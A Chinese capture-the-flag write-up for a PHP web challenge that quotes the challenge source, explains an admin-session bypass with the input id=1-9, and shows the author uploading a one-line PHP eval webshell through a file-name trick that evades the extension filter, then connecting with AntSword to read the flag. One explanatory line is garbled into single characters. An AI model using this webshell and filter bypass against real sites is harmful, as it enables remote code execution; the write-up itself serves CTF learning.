题目:
点开链接,根据题目打开项目管理页面:
点击view-source查看并分析页面源码
第一段
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
参数 page 存在 且 参数page不等于index.php 才包含flag.php
第二段
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
session[“admin”] 要拿到admin的session, 将con 的内容 写到$file
if(preg_match(’/.+.ph(p[3457]?|t|tml)$/i’, $filename)) 过滤掉后缀 是 .php3,.php4,.php5,.php7,.t,.tml
chdir(‘uploaded’); 这里切换了路径,真实的路径在 uploaded下面
第三段:
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
id 存在 ,floatval(
G
E
T
[
i
d
]
)
!
=
=
′
1
′
浮
点
不
为
1
,
s
u
b
s
t
r
(
_GET[id]) !== '1' 浮点不为1 ,substr(
GET[id])!==′1′浮点不为1,substr(_GET[id], -1) === ‘9’ 最后一位为9
首先构造payload: ?page=flag.php&id=1-9&submit 得到admin接下来我们通过firefox自带的HackBar工具写入一句话木马 con=<?php @eval($_POST[cmd]) ?>&file=shell.php/1.php/… post上传
通过路径 http://220.249.52.133:52696/uploaded/backup/ 查看是否post成功
好,这就代表成功了,接下来通过蚁剑连接即可得到flag
flag=“cyberpeace{c582630bf3e81ea7ad792263f63840da}”